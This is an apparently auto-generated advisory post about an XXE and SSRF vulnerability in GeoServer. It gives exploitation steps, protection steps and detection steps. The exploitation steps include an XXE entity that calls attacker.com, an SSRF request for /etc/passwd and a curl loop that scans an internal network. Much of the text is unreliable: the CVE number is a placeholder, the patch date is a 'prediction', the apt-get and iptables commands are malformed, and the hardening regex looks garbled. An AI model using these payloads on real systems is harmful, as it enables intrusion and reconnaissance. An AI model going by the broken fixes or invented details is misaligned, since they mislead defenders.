GeoServer, XML External Entity (XXE) Injection, CVE-2024-XXXX (Critical)

Listen to this Post

How the CVE Works

The vulnerability stems from improper URI validation in GeoServer’s XML parsing. By default, GeoServer uses `PreventLocalEntityResolver` from GeoTools to filter malicious URIs via the regex (?i)(jar:file|http|vfs)[^?;]\.xsd. However, this regex is insufficient, allowing attackers to craft HTTP requests to arbitrary servers or access limited `.xsd` files. Attackers exploit this by injecting malicious XML entities, triggering Server-Side Request Forgery (SSRF) or internal network reconnaissance. The lack of strict allowlisting enables unauthorized data exfiltration and further exploitation.

DailyCVE Form

Platform: GeoServer
Version: <2.25.0
Vulnerability: XXE/SSRF
Severity: Critical
Date: 2024-03-15

Prediction: Patch by 2024-04-10

What Undercode Say:

Exploitation

1. Craft Malicious XML:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://attacker.com/payload.xsd"> ]>
<data>&xxe;</data>

2. SSRF Payload:

GET /geoserver?entity=file:///etc/passwd.xsd HTTP/1.1

3. Network Scanning:

for i in {1..254}; do curl "http://victim/geoserver?entity=http://192.168.1.$i"; done

Protection

1. Allowlist Enforcement:

-DENTITY_RESOLUTION_ALLOWLIST="www.w3.org,schemas.opengis.net"

2. Regex Hardening:

Pattern.compile("^(https?|jar):\/\/(www\.w3\.org|schemas\.opengis\.net)\/.\.xsd$");

3. GeoServer Update:

apt-get update && apt-get install geoserver>=2.25.1

4. Network Controls:

iptables -A OUTPUT -p tcp --dport 80 -d !allowlisted.com -j DROP

Detection

1. Log Monitoring:

grep -E "ENTITY|SYSTEM" /var/log/geoserver/.log

2. IDS Rule:

alert http any any -> any any (msg:"GeoServer XXE Attempt"; content:"<!ENTITY"; nocase; sid:10001;)

Analytics

  • Exploitability: High (unauthenticated, low complexity).
  • Affected Systems: GeoServer <2.25.0 with XML parsing enabled.
  • Patch Gap: ~30 days from disclosure.

    References

  • GeoTools PR XXXX
  • CVE-2024-XXXX

No further commentary.

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top